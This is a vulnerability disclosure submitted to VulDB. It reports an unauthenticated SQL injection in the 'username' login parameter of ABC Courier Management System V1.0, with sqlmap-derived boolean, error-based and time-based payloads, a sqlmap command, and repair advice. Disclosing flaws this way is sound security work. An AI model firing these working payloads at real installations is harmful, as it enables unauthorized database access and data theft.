Súbít #591110: 1000 Projects ABC Courier Management System V1.0 SQL Injectionbayani

Kura1000 Projects ABC Courier Management System V1.0 SQL Injection
Gaskiya# Projectworlds ABC Courier Management System Project V1.0 /adminSQL injection # NAME OF AFFECTED PRODUCT(S) - ABC Courier Management System ## Vendor Homepage - https://1000projects.org/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - gaolei ## Vulnerable File - /admin ## VERSION(S) - V1.0 ## Software Link - https://1000projects.org/abc-courier-management-system-php-project.html # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin' file of the 'ABC Courier Management System' project. The reason for this issue is that attackers inject malicious code from the parameter ' username‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "ABC Courier Management System",I discovered a critical SQL injection vulnerability in the "/admin" file. This vulnerability stems from insufficient user input validation of the ' username' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - ' username' parameter ## Payload: ```makefile Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: username=1' OR NOT 2574=2574#&checkbox=on&password=1&checkbox=on&type=admin&checkbox=on&s1=Login to your account Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=1' OR (SELECT 6673 FROM(SELECT COUNT(*),CONCAT(0x71787a6271,(SELECT (ELT(6673=6673,1))),0x7170627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qiXc&checkbox=on&password=1&checkbox=on&type=admin&checkbox=on&s1=Login to your account Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=1' AND (SELECT 9953 FROM (SELECT(SLEEP(5)))nYzL)-- jZej&checkbox=on&password=1&checkbox=on&type=admin&checkbox=on&s1=Login to your account ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://x.x.x.x/admin" --data="username=1&checkbox=on&password=1&checkbox=on&type=admin&checkbox=on&s1=Login+to+your+account" --dbs ``` <img width="803" alt="Image" src="https://github.com/user-attachments/assets/d6d1a324-5662-4ed1-a482-1d802705d2ad" /> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Manga⚠️ https://github.com/ubfbuz3/cve/issues/18
Màdùmga
 gaolei (UID 85900)
Furta06/06/2025 04:54 (9 Wurɗi 전)
Gargajiya06/06/2025 08:51 (4 hours later)
HalittaShingilam
VulDB gite311322 [1000 Projects ABC Courier Management System 1.0 /admin Sunankai SQL Injection]
Nganji20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!